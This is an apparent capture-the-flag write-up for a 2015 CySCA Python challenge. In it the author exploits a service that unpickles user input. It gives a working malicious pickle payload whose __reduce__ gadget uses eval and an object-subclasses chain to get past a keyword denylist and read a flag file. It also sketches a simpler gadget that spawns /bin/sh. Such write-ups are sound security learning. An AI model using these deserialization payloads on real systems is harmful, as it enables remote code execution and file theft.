In the lead up to Cysca 2016 I'm doing some of last year's challenges.
This is a writeup to https://github.com/CySCA/CySCA2015/blob/master/python_exploitation/files/mmmmm_pickles.py
It's pretty simple, the program will run 'pickle.loads(user_input)'
with some restrictions on what you can input.
denylist = ("system","exec","popen","print")
First of all I'd like to make it clear that I'm not a python guru, I just know enough to duct-tape bits together to get the job done
The solution is thus:
class RunBinSh(object):
def __reduce__(self):
return (eval, (("{}.__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('sys').stdout.write({}.__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').read({}.__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').open('./flag.txt', {}.__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').O_RDWR),10))"),))
d = pickle.dumps(RunBinSh())
print d # so I can copy and paste it
pickle.loads(d) # test that it works
I know that when pickle dumps a thing it runs the thing that you return in the function '__reduce__'
(as I said, I'm no expert on python)
so, with that gadget down pat, I'd really like to have something like
import os
class RunBinSh(object):
def __reduce__(self):
return (os.system, ("/bin/sh",))
but that aint going to go down with the 'denylist'
to get around this I run 'eval'
and I eval that giant long thing.
Is there a shorter way of doing this? yes definitely
Do I know how to do it? no
Do I need to know? Not for this challenge!
So, what's the giant eval thing?
Well I tried just using 'import os' but eval didn't like that, so I used a little trick (kinda from the previous challenge) to get the equivilent of 'import os' in eval
'{}.__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os')'
I googled around a bit to find that and had to tweak it a little to make it actually work. (chucked it in a for loop to find which value didn't make it crash. 59 was the winner)
Using that I can effectively do
sys.stdout.write(os.read(os.open('./flag.txt', os.O_RDWR), 10))
which will open the flag, read 10 characters and write it to stdout.
adjust to taste for real ctf environment and you're done